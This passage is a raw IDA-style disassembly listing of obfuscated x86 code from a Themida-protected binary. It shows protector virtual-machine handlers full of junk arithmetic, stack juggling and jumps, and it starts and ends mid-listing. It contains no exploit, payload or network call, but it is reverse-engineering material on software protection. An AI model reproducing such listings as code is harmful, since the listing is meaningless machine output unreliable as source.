		mov	edx, 0
		add	edx, ecx
		mov	eax, [edx]
		pop	edx
		jmp	loc_569407
; ---------------------------------------------------------------------------


loc_5647CA:				; CODE XREF: Themida_:00564BECj
		push	182D054Fh
		pop	edi
		shl	edi, 7
		sub	edi, 253E54CDh
		sub	edi, 0D3031BD4h
		mov	ecx, edi
		pop	edi
		jmp	loc_56B123
; ---------------------------------------------------------------------------


loc_5647E7:				; CODE XREF: Themida_:00566846j
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_56C4C5
; ---------------------------------------------------------------------------


loc_5647F1:				; CODE XREF: Themida_:0056EF5Dj
		push	0F88205Eh
		jmp	loc_5631C0
; ---------------------------------------------------------------------------


loc_5647FB:				; CODE XREF: Themida_:00561ECAj
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ebp
		push	63F2h
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_5600C7
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	5557h
		jmp	loc_562610
; ---------------------------------------------------------------------------


loc_564836:				; CODE XREF: Themida_:0056DCC8j
		pop	ecx
		mov	ecx, eax
		pop	eax
		add	ebx, ecx
		pop	ecx
		sub	ebx, 4
		jmp	loc_570DC9
; ---------------------------------------------------------------------------


loc_564848:				; CODE XREF: Themida_:0056B648j
		xor	ecx, 4348149Ah
		or	ecx, 2E2D009Ch
		add	ecx, 91429C27h
		jmp	loc_571DAD
; ---------------------------------------------------------------------------


loc_56485F:				; CODE XREF: Themida_:0055D454j
		push	edx
		mov	edx, 4A73318Dh
		xor	edx, 4A733189h
		add	ebx, edx
		pop	edx
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_566C27
; ---------------------------------------------------------------------------


loc_564879:				; CODE XREF: Themida_:0056F385j
		pop	ebx
		add	[esp+0Ch], ebp
		jmp	loc_567559
; ---------------------------------------------------------------------------


loc_564883:				; CODE XREF: Themida_:0055E056j
		sub	ecx, 502B4EB7h
		add	ecx, edi
		add	ecx, 502B4EB7h
		push	dword ptr [esp]
		pop	edi
		push	ebx
		mov	ebx, esp
		jmp	loc_566DE6
; ---------------------------------------------------------------------------


loc_56489D:				; CODE XREF: Themida_:00565527j
		mov	[esp], eax
		push	55C44650h
		pop	eax
		and	eax, 4ADC29FBh
		add	eax, 3AE67C7h
		dec	eax
		sub	eax, 0FFFFFFFFh
		sub	eax, 1BB814EBh
		xor	esi, eax
		pop	eax
		add	esi, 50E17C34h
		sub	esi, 6F1922D7h
		add	esi, 39B4772Ah
		sub	edx, esi
		jmp	loc_5688BF
; ---------------------------------------------------------------------------


loc_5648D7:				; CODE XREF: Themida_:00564406j
		mov	edx, 0DD309F99h
		jmp	loc_560092
; ---------------------------------------------------------------------------


loc_5648E1:				; CODE XREF: Themida_:0056C5A1j
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		sub	esp, 4
		jmp	loc_56E49D
; ---------------------------------------------------------------------------


loc_5648F3:				; CODE XREF: Themida_:00562417j
		add	esp, 4
		jmp	loc_56C140
; ---------------------------------------------------------------------------


loc_5648FB:				; CODE XREF: Themida_:0056EE24j
		dec	edx
		jmp	loc_56B575
; ---------------------------------------------------------------------------


loc_564901:				; CODE XREF: Themida_:005644B4j
		pop	ebx
		sub	edx, 1E68575Eh
		sub	edx, edi
		jmp	loc_55E3EB
; ---------------------------------------------------------------------------


loc_56490F:				; CODE XREF: Themida_:00567355j
		sub	eax, esi
		sub	eax, 6641190Bh
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_56A786
; ---------------------------------------------------------------------------


loc_564925:				; CODE XREF: Themida_:00563F88j
		mov	ebp, [esp]
		add	esp, 4
		std
		push	ebp
		push	edi
		push	73CE1E9Fh
		mov	edi, [esp]
		add	esp, 4
		neg	edi
		add	edi, 0BB0E718Fh
		mov	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		sub	ebp, 16277840h
		push	edi
		jmp	loc_56A2AC
; ---------------------------------------------------------------------------


loc_564958:				; CODE XREF: Themida_:00567A23j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	esi
		mov	esi, 3E5D17C9h
		and	esi, 2E0F1F17h
		jmp	loc_561FAA
; ---------------------------------------------------------------------------


loc_564979:				; CODE XREF: Themida_:0057163Aj
		mov	edx, 0CB4504Dh
		add	edx, 4B69CDBFh
		not	edx
		jmp	loc_5635A5
; ---------------------------------------------------------------------------


loc_56498B:				; CODE XREF: Themida_:0056F2E6j
		btc	[esp], ax
		pushf
		jmp	loc_570B72
; ---------------------------------------------------------------------------


loc_564996:				; CODE XREF: Themida_:0056DB40j
		mov	eax, 5A8A580Eh
		or	ebx, eax
		pop	eax
		xor	ebx, 42A11C70h
		jmp	loc_561BF0
; ---------------------------------------------------------------------------


loc_5649A9:				; CODE XREF: Themida_:00567D04j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4
		add	ebx, eax
		pop	eax
		jmp	loc_572844
; ---------------------------------------------------------------------------


loc_5649C8:				; CODE XREF: Themida_:0056B788j
		push	ebx
		mov	ebx, 72BA0757h
		sub	ecx, ebx
		pop	ebx
		push	1591h
		mov	[esp], ebx
		jmp	loc_56567C
; ---------------------------------------------------------------------------


loc_5649DE:				; CODE XREF: Themida_:0056D92Fj
		push	ecx
		push	esp
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	ebx
		jmp	loc_56692F
; ---------------------------------------------------------------------------


loc_5649F0:				; CODE XREF: Themida_:00561D5Fj
		pop	ebx
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	edi
		mov	edi, esp
		jmp	loc_566F59
; ---------------------------------------------------------------------------


loc_564A03:				; CODE XREF: Themida_:0055F205j
		pop	ebp
		jmp	loc_55ECFE
; ---------------------------------------------------------------------------


loc_564A09:				; CODE XREF: Themida_:0056EBB7j
		add	edx, 4
		add	edx, 4
		jmp	loc_566560
; ---------------------------------------------------------------------------
		mov	ax, fs:[edx]
		push	edx
		jmp	loc_55E789
; ---------------------------------------------------------------------------


loc_564A24:				; CODE XREF: Themida_:0056EEF0j
		mov	eax, 5BA04702h
		sub	[esp+8], eax
		pop	eax
		push	dword ptr [esp]
		pop	esi
		push	ecx
		mov	ecx, esp
		push	ebp
		push	275Fh
		mov	[esp], edi
		mov	edi, 67183C54h
		mov	ebp, 0AA1D7A92h
		sub	ebp, edi
		mov	edi, [esp]
		jmp	loc_56C90A
; ---------------------------------------------------------------------------


loc_564A52:				; CODE XREF: Themida_:00568E29j
		mov	edi, [esp]
		add	esp, 4
		push	ebp
		jmp	loc_56033F
; ---------------------------------------------------------------------------


loc_564A61:				; CODE XREF: Themida_:00561F3Fj
		push	esp
		mov	eax, [esp]
		jmp	loc_56E7A5
; ---------------------------------------------------------------------------


loc_564A6A:				; CODE XREF: Themida_:00568865j
		push	esi
		mov	esi, 760A02D0h
		shl	esi, 3
		push	eax
		mov	eax, 2C5E3170h
		xor	esi, eax
		pop	eax
		add	esi, 0FFFFFFFFh
		push	7C3Ch
		mov	[esp], esi
		not	dword ptr [esp]
		pop	esi
		and	esi, 50262624h
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_55DBEF
; ---------------------------------------------------------------------------


loc_564AA5:				; CODE XREF: Themida_:0056E81Fj
		add	esi, edi
		pop	edi
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_56EFCC
; ---------------------------------------------------------------------------


loc_564AB7:				; CODE XREF: Themida_:0056847Bj
		inc	eax
		add	eax, 42502A58h
		xchg	eax, ecx
		jmp	loc_55DA34
; ---------------------------------------------------------------------------


loc_564AC3:				; CODE XREF: Themida_:00561C30j
		push	dword ptr [esp]
		jmp	loc_56BB0C
; ---------------------------------------------------------------------------


loc_564ACB:				; CODE XREF: Themida_:0056A04Cj
		xor	eax, 7DAD169Ah
		add	edx, eax
		jmp	loc_56573C
; ---------------------------------------------------------------------------


loc_564AD7:				; CODE XREF: Themida_:00570A98j
		add	edx, eax
		sub	edx, 831022Eh
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_55D9BA
; ---------------------------------------------------------------------------


loc_564B0E:				; CODE XREF: Themida_:0056ED41j
		pop	eax
		jmp	loc_56463F
; ---------------------------------------------------------------------------


loc_564B14:				; CODE XREF: Themida_:0056E0E5j
		add	ecx, edx
		pop	edx
		mov	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		shr	esi, 8
		add	esi, 5EA202F2h
		push	ebx
		mov	ebx, 48645183h
		and	esi, ebx
		pop	ebx
		add	esi, 0CAC6F7B1h
		xchg	edi, esi
		jmp	loc_561AB3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562A0A


loc_564B3E:				; CODE XREF: sub_562A0A+D9C3j
		xor	[esp+8+var_8], ebp
		xor	ebp, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		pop	edx
		sub	esp, 4
		mov	[esp+4+var_4], ecx
		jmp	loc_56DEE8
; END OF FUNCTION CHUNK	FOR sub_562A0A
; ---------------------------------------------------------------------------


loc_564B53:				; CODE XREF: Themida_:00562D40j
		push	edx
		jmp	loc_55E7A1
; ---------------------------------------------------------------------------


loc_564B59:				; CODE XREF: Themida_:0056B999j
		mov	eax, [esp]
		push	5491h
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_56406C
; ---------------------------------------------------------------------------


loc_564B74:				; CODE XREF: Themida_:00561430j
		not	eax
		push	5F35h
		mov	[esp], eax
		not	dword ptr [esp]
		jmp	loc_55FFFF
; ---------------------------------------------------------------------------


loc_564B86:				; CODE XREF: Themida_:0056BF49j
		dec	ebx
		jmp	loc_56D8DF
; ---------------------------------------------------------------------------


loc_564B8C:				; CODE XREF: Themida_:0055FDB5j
		add	edi, 4
		jmp	loc_56DA77
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	4B61h
		mov	[esp], edi
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_55D87A
; ---------------------------------------------------------------------------


loc_564BB1:				; CODE XREF: Themida_:0056F4C1j
		add	eax, esi
		pop	esi
		sub	ebx, eax
		mov	eax, [esp]
		jmp	loc_56A385
; ---------------------------------------------------------------------------


loc_564BBE:				; CODE XREF: Themida_:0055EDC1j
		pop	ecx
		jmp	loc_56B2F2
; ---------------------------------------------------------------------------


loc_564BC4:				; CODE XREF: Themida_:0056EB92j
		pop	edi
		add	ebx, esi
		sub	ebx, 2D7F737Dh
		pop	esi
		xor	ebx, [esp]
		jmp	loc_56915D
; ---------------------------------------------------------------------------


loc_564BD6:				; CODE XREF: Themida_:0056215Aj
		sub	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		jmp	loc_56846E
; ---------------------------------------------------------------------------


loc_564BEB:				; CODE XREF: Themida_:0056DE1Aj
		push	edi
		jmp	loc_5647CA
; ---------------------------------------------------------------------------


loc_564BF1:				; CODE XREF: Themida_:00568CE4j
		mov	[esp], eax
		push	edx
		jmp	loc_5659C1
; ---------------------------------------------------------------------------


loc_564BFA:				; CODE XREF: Themida_:0056F3B9j
		pop	edi
		add	esp, 4
		xor	esi, [esp]
		jmp	loc_563BC4
; ---------------------------------------------------------------------------


loc_564C09:				; CODE XREF: Themida_:00566471j
		push	eax
		mov	eax, 57C32D7Bh
		add	ebx, eax
		jmp	loc_566C03
; ---------------------------------------------------------------------------


loc_564C16:				; CODE XREF: Themida_:0056CEACj
		add	eax, 658D498Eh
		push	4229h
		mov	[esp], edx
		mov	edx, 5A1418CDh
		xor	edx, 5CDB01CAh
		and	edx, 23AC5F2Ch
		sub	edx, 0FD030392h
		shl	edx, 4
		jmp	loc_5654CC
; ---------------------------------------------------------------------------


loc_564C42:				; CODE XREF: Themida_:00568D54j
		sub	esi, 21691F9Fh
		sub	esi, eax
		add	esi, 21691F9Fh
		add	esi, 4CB21933h
		push	ecx
		mov	ecx, 1D74EE7h
		add	esi, 5070C05h
		sub	esi, ecx
		sub	esi, 5070C05h
		pop	ecx
		add	esi, 607B568Ch
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_563029
; ---------------------------------------------------------------------------


loc_564C7F:				; CODE XREF: Themida_:005624F6j
		dec	edx
		sub	edx, 9713A80h
		push	edx
		pop	eax
		mov	edx, [esp]
		add	esp, 4
		push	531Fh
		mov	[esp], edi
		jmp	loc_568D77
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DB3D


loc_564C9E:				; CODE XREF: sub_59DB3D-34353j
		pop	eax
		push	66A6h
		mov	[esp+28h+var_28], edi
		jmp	loc_565171
; END OF FUNCTION CHUNK	FOR sub_59DB3D
; ---------------------------------------------------------------------------


loc_564CAC:				; CODE XREF: Themida_:00562D92j
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_56916F
; ---------------------------------------------------------------------------


loc_564CBA:				; CODE XREF: Themida_:00560347j
		push	ecx
		mov	ecx, 4
		sub	ebp, ecx
		pop	ecx
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_56CCBD
; ---------------------------------------------------------------------------


loc_564CCF:				; CODE XREF: Themida_:005659B2j
		push	edi
		jmp	loc_5617FD
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	eax
		jmp	loc_56A0EF
; ---------------------------------------------------------------------------


loc_564CDE:				; CODE XREF: Themida_:00565D35j
		push	small 4FDCh
		mov	[esp], di
		mov	bp, [esp]
		add	esp, 2
		mov	di, [esp]
		add	esp, 2
		jmp	loc_563E2A
; ---------------------------------------------------------------------------


loc_564CF9:				; CODE XREF: Themida_:0056AAADj
		mov	ebx, 79882CADh
		jmp	loc_565EE1
; ---------------------------------------------------------------------------


loc_564D03:				; CODE XREF: Themida_:00563210j
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], eax
		push	edi
		mov	edi, 50F2851h
		shl	edi, 8
		jmp	loc_56E594
; ---------------------------------------------------------------------------


loc_564D26:				; CODE XREF: Themida_:0055D762j
		sub	ebp, 60B6679Dh
		xor	ebp, 37DF18AEh
		jmp	loc_56EFDC
; ---------------------------------------------------------------------------


loc_564D37:				; CODE XREF: Themida_:00564FF4j
		neg	esi
		neg	esi
		xor	esi, 0B625220h
		push	ecx
		mov	ecx, 0F620137h
		jmp	loc_56B7A2
; ---------------------------------------------------------------------------


loc_564D4C:				; CODE XREF: Themida_:005663EFj
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		jmp	loc_56A497
; ---------------------------------------------------------------------------


loc_564D65:				; CODE XREF: Themida_:0056CA0Aj
		push	esi
		not	dword ptr [esp]
		pop	esi
		push	edi
		push	4570h
		mov	[esp], ebx
		mov	ebx, 65552F6Ch
		sub	ebx, 0B0541FFh
		jmp	loc_56C343
; ---------------------------------------------------------------------------


loc_564D83:				; CODE XREF: Themida_:0055FCFDj
		add	esi, edi
		add	esi, 6C0B0F9Fh
		jmp	loc_56706F
; ---------------------------------------------------------------------------


loc_564D90:				; CODE XREF: Themida_:00566D0Aj
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		jmp	loc_569057
; ---------------------------------------------------------------------------


loc_564D9C:				; CODE XREF: Themida_:005669D7j
		mov	esi, 37A710B9h
		push	eax
		mov	eax, 0E9B11C29h
		jmp	loc_56B779
; ---------------------------------------------------------------------------


loc_564DAC:				; CODE XREF: Themida_:0056DF41j
		push	ebx
		mov	ebx, 49D571CEh
		push	ebp
		push	4DE9h
		mov	[esp], ecx
		push	41D702F3h
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	ecx, 5106016Fh
		dec	ecx
		sub	ecx, 729AF4E6h
		jmp	loc_56147C
; ---------------------------------------------------------------------------


loc_564DDC:				; CODE XREF: Themida_:0056DD2Dj
		push	dword ptr [esp+4]
		jmp	loc_56ECEF
; ---------------------------------------------------------------------------


loc_564DE5:				; CODE XREF: Themida_:0056049Cj
		sub	ch, 2Ch
		jmp	loc_55E46C
; ---------------------------------------------------------------------------


loc_564DED:				; CODE XREF: Themida_:0056975Aj
		add	ebp, 0BC98DC5h
		jmp	loc_56CC5F
; ---------------------------------------------------------------------------


loc_564DF8:				; CODE XREF: Themida_:0056DAE3j
		xor	eax, 4EF26AB6h
		push	edi
		push	44B1545Bh
		jmp	loc_55F111
; ---------------------------------------------------------------------------


loc_564E08:				; CODE XREF: Themida_:00563B47j
		push	ebp
		mov	ebp, 4E360804h
		add	edi, ebp
		pop	ebp
		or	edx, edi
		pop	edi
		push	ecx
		mov	ecx, 6D0D4885h
		jmp	loc_56D560
; ---------------------------------------------------------------------------


loc_564E1F:				; CODE XREF: Themida_:00560CB3j
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_564E24:				; CODE XREF: Themida_:0056EB16j
		push	0D7C3F28h
		pop	ebx
		sub	ebx, 86FFFBEh
		push	ebx
		pop	ecx
		pop	ebx
		jmp	loc_5683CF
; ---------------------------------------------------------------------------


loc_564E38:				; CODE XREF: Themida_:0056B7FAj
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_55E82D
; ---------------------------------------------------------------------------


loc_564E43:				; CODE XREF: Themida_:0056A4C5j
		mov	ecx, esi
		pop	esi
		mov	ebx, ecx
		pop	ecx
		push	esi
		mov	esi, 1C986B17h
		neg	esi
		dec	esi
		sub	esi, 0C04E56FCh
		shl	esi, 6
		neg	esi
		shr	esi, 4
		inc	esi
		sub	esi, 0E193B53Bh
		jmp	loc_57165B
; ---------------------------------------------------------------------------


loc_564E6C:				; CODE XREF: Themida_:0057179Dj
		pop	ebx
		neg	ecx
		inc	ecx
		xor	ecx, 7FA32B8Eh
		mov	edx, ecx
		pop	ecx
		push	333Ah
		jmp	loc_56634A
; ---------------------------------------------------------------------------


loc_564E83:				; CODE XREF: Themida_:0056CEF3j
		xor	ecx, 0D06D1FC4h
		add	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		and	edx, ebx
		pop	ebx
		push	572Ch
		mov	[esp], esi
		mov	esi, 69B7740Bh
		neg	esi
		push	edx
		mov	edx, 9C63DE94h
		xor	esi, edx
		mov	edx, [esp]
		add	esp, 4
		add	edx, esi
		jmp	loc_5623E4
; ---------------------------------------------------------------------------


loc_564EBE:				; CODE XREF: Themida_:0056EA7Cj
		pop	esi
		xor	esi, edi
		jmp	loc_55FEED
; ---------------------------------------------------------------------------


loc_564EC6:				; CODE XREF: Themida_:00569F66j
		pop	esp
		push	ebp
		jmp	loc_569C8A
; ---------------------------------------------------------------------------


loc_564ECD:				; CODE XREF: Themida_:00569E9Bj
		push	edi
		mov	edi, 0DE86FCDh
		add	ebx, edi
		pop	edi
		add	ebx, edi
		sub	ebx, 0DE86FCDh
		mov	edi, [esp]
		jmp	loc_55E4A6
; ---------------------------------------------------------------------------


loc_564EE6:				; CODE XREF: Themida_:0056856Dj
		push	2E70h
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_564EF5:				; CODE XREF: Themida_:0056877Dj
		pop	dword ptr [esp]
		pop	esp
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		bswap	eax
		push	71D6h
		jmp	loc_55E2FB
; ---------------------------------------------------------------------------


loc_564F0E:				; CODE XREF: Themida_:0056912Ej
		push	cx
		mov	ch, 6Bh
		push	cx
		push	1FD4h
		mov	[esp], ebx
		jmp	loc_56DBBA
; ---------------------------------------------------------------------------


loc_564F21:				; CODE XREF: Themida_:0055F56Ej
		add	bl, 8Eh
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_566F26
; ---------------------------------------------------------------------------


loc_564F35:				; CODE XREF: Themida_:005646BDj
		mov	eax, [esp]
		add	esp, 4
		not	eax
		xor	eax, 59DE53ECh
		jmp	loc_56290E
; ---------------------------------------------------------------------------


loc_564F4A:				; CODE XREF: Themida_:00569D5Fj
		push	dword ptr [esp+4]
		mov	edi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_564F60:				; CODE XREF: Themida_:0055F863j
		mov	edx, 53D52490h
		mov	ebx, edx
		pop	edx
		mov	edx, 0C4D1D08Eh
		sub	edx, ebx
		jmp	loc_56DB09
; ---------------------------------------------------------------------------


loc_564F74:				; CODE XREF: Themida_:0056303Bj
		mov	edi, 4D852F26h
		add	[esp+4], edi
		push	dword ptr [esp]
		jmp	loc_56680E
; ---------------------------------------------------------------------------


loc_564F85:				; CODE XREF: Themida_:0055E0A2j
		add	esp, 4
		sub	eax, 43A067EDh
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, 7CA14E37h
		not	edi
		xor	edi, 835EB1CCh
		jmp	loc_560FBB
; ---------------------------------------------------------------------------
		push	dword ptr [edi+3Ch]
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_563C91
; ---------------------------------------------------------------------------


loc_564FB1:				; CODE XREF: Themida_:0056EEDEj
		push	edx
		mov	edx, 2BBE36ECh
		shl	edx, 6
		jmp	loc_56A2DF
; ---------------------------------------------------------------------------


loc_564FBF:				; CODE XREF: Themida_:0056D24Cj
		add	edi, 4
		jmp	loc_567C99
; ---------------------------------------------------------------------------


loc_564FCA:				; CODE XREF: Themida_:0055EFA0j
		push	cx
		mov	ch, 0C4h
		push	edx
		push	ecx
		mov	cl, 0B9h
		jmp	loc_5714E7
; ---------------------------------------------------------------------------


loc_564FD7:				; CODE XREF: Themida_:0056C66Ej
		mov	edi, edx
		pop	edx
		push	edi
		pop	ebp
		push	dword ptr [esp]
		pop	edi
		push	edi
		jmp	loc_56C6E7
; ---------------------------------------------------------------------------


loc_564FE6:				; CODE XREF: Themida_:00566834j
		mov	ebp, 203274AEh
		xor	esi, ebp
		pop	ebp
		and	esi, 42D92EC9h
		jmp	loc_564D37
; ---------------------------------------------------------------------------


loc_564FF9:				; CODE XREF: Themida_:00565079j
		mov	ch, ah
		push	ebx
		mov	bh, dl
		jmp	loc_55D317
; ---------------------------------------------------------------------------


loc_565003:				; CODE XREF: Themida_:0056E025j
		pop	cx
		jmp	loc_569A0E
; ---------------------------------------------------------------------------


loc_56500A:				; CODE XREF: Themida_:0056A148j
		push	esp
		pop	ebp
		push	edx
		sub	esp, 4
		mov	[esp], edi
		push	ebp
		jmp	loc_572122
; ---------------------------------------------------------------------------


loc_56501C:				; CODE XREF: Themida_:005717EDj
		add	[esp+4], ebp
		add	dword ptr [esp+4], 2F855D9h
		add	dword ptr [esp+4], 57E0698Bh
		sub	dword ptr [esp+4], 5E9275A9h
		mov	ebp, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_562331
; ---------------------------------------------------------------------------


loc_565043:				; CODE XREF: Themida_:00569372j
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_561060
; ---------------------------------------------------------------------------


loc_565051:				; CODE XREF: Themida_:00560E03j
		add	edx, 0C07E388Dh
		jmp	loc_567DFB
; ---------------------------------------------------------------------------


loc_56505C:				; CODE XREF: Themida_:0055D53Ej
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_56A039
; ---------------------------------------------------------------------------


loc_56506D:				; CODE XREF: Themida_:00568EB5j
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_56F064
; ---------------------------------------------------------------------------


loc_565078:				; CODE XREF: Themida_:0056D32Cj
		push	ecx
		jmp	loc_564FF9
; ---------------------------------------------------------------------------


loc_56507E:				; CODE XREF: Themida_:005728A6j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	ebp
		jmp	loc_56EABA
; ---------------------------------------------------------------------------


loc_565091:				; CODE XREF: Themida_:00571BE1j
		inc	edi
		xor	edi, 0DEE5786h
		sub	edi, 6C0034B6h
		jmp	loc_5674E3
; ---------------------------------------------------------------------------


loc_5650A3:				; CODE XREF: Themida_:00562441j
		xchg	edi, [esp]
		mov	esp, [esp]
		push	4F80h
		mov	[esp], edi
		push	ebp
		push	edx
		jmp	loc_56F2F1
; ---------------------------------------------------------------------------


loc_5650B8:				; CODE XREF: Themida_:0056D9BAj
		xor	esi, 0B990052h
		xor	esi, 49EBA31Dh
		xor	ebp, esi
		pop	esi
		sub	esp, 4
		jmp	loc_567FE4
; ---------------------------------------------------------------------------


loc_5650D2:				; CODE XREF: Themida_:0056D1C6j
		pop	ebp
		jmp	loc_567AFE
; ---------------------------------------------------------------------------


loc_5650D8:				; CODE XREF: Themida_:00570913j
		push	ecx
		mov	ecx, esp
		jmp	loc_55EEC6
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	eax
		push	18A9h
		jmp	loc_5693EC
; ---------------------------------------------------------------------------


loc_5650EE:				; CODE XREF: Themida_:0055FF4Fj
		pop	eax
		mov	ebx, [esp]
		jmp	loc_563C37
; ---------------------------------------------------------------------------


loc_5650F7:				; CODE XREF: Themida_:0056E137j
		or	ecx, 4EE1768Fh
		jmp	loc_561ABA
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	389Fh
		jmp	loc_56A9DF
; ---------------------------------------------------------------------------


loc_565110:				; CODE XREF: Themida_:00569615j
		pop	edx
		jmp	loc_56E416
; ---------------------------------------------------------------------------


loc_565116:				; CODE XREF: Themida_:0056E61Bj
		add	esp, 4
		jmp	loc_560747
; ---------------------------------------------------------------------------


loc_56511E:				; CODE XREF: Themida_:0056BD86j
		shl	bx, 8
		add	bx, 1535h
		sub	si, bx
		jmp	loc_561D3C
; ---------------------------------------------------------------------------


loc_56512F:				; CODE XREF: Themida_:0056B099j
		add	esp, 4
		jmp	loc_57028A
; ---------------------------------------------------------------------------


loc_565137:				; CODE XREF: Themida_:0056478Ej
		push	edi
		mov	edi, esp
		jmp	loc_571C0F
; ---------------------------------------------------------------------------


loc_56513F:				; CODE XREF: Themida_:00566B80j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	6B14h
		mov	[esp], esi
		mov	esi, 33083381h
		push	eax
		mov	eax, 0
		sub	eax, esi
		mov	esi, eax
		jmp	loc_569BE2
; ---------------------------------------------------------------------------


loc_56516A:				; CODE XREF: Themida_:00571D5Dj
		mov	dl, 3Bh
		jmp	loc_570C1D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DB3D


loc_565171:				; CODE XREF: sub_59DB3D-38E96j
		push	37CE4DF2h
		pop	edi
		sub	edi, 4095093Dh
		neg	edi
		sub	edi, 8C6BB47h
		jmp	loc_56C225
; END OF FUNCTION CHUNK	FOR sub_59DB3D
; ---------------------------------------------------------------------------


loc_56518A:				; CODE XREF: Themida_:00562543j
		inc	si
		shl	si, 5
		xor	si, 2B24h
		jmp	loc_56A9F9
; ---------------------------------------------------------------------------


loc_56519A:				; CODE XREF: Themida_:005710D7j
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_5651A6:				; CODE XREF: Themida_:0055DEC6j
		push	edx
		mov	edx, 20h
		add	edx, edi
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_570567
; ---------------------------------------------------------------------------


loc_5651C5:				; CODE XREF: Themida_:005635D6j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_56D7FA
; ---------------------------------------------------------------------------


loc_5651D9:				; CODE XREF: Themida_:005717ABj
		xor	edx, esi
		pop	esi
		add	ebp, edx
		jmp	loc_56547E
; ---------------------------------------------------------------------------


loc_5651E3:				; CODE XREF: Themida_:00572A53j
		add	ecx, 70CF1E38h
		pop	esi
		mov	esi, ecx
		mov	ecx, [esp]
		push	ecx
		jmp	loc_55E1A0
; ---------------------------------------------------------------------------


loc_5651F5:				; CODE XREF: Themida_:0056ED35j
		add	ebx, eax
		sub	ebx, 17814D51h
		mov	eax, [esp]
		add	esp, 4
		push	esi
		mov	esi, 2
		push	edi
		mov	edi, 37335753h
		jmp	loc_56EB76
; ---------------------------------------------------------------------------


loc_565214:				; CODE XREF: Themida_:0056771Fj
		push	4016h
		mov	[esp], esi
		push	15ECh
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 77F61EF7h
		mov	ecx, eax
		jmp	loc_55E6E2
; ---------------------------------------------------------------------------


loc_565239:				; CODE XREF: Themida_:0055F333j
		add	esp, 4
		push	esi
		push	esp
		pop	esi
		push	edi
		mov	edi, 4
		add	esi, edi
		pop	edi
		jmp	loc_5606D8
; ---------------------------------------------------------------------------


loc_56524D:				; CODE XREF: Themida_:0056F426j
		push	dword ptr [esp+4]
		pop	ebx
		jmp	loc_56526A
; ---------------------------------------------------------------------------


loc_565257:				; CODE XREF: Themida_:0055D875j
		shr	edi, 1
		shr	edi, 8
		add	edi, 0CEEDE517h
		sub	ecx, edi
		pop	edi
		jmp	loc_56B8C5
; ---------------------------------------------------------------------------


loc_56526A:				; CODE XREF: Themida_:00565252j
		pop	dword ptr [esp]
		mov	esp, [esp]
		movzx	ecx, ax
		push	22F3h
		mov	[esp], ecx
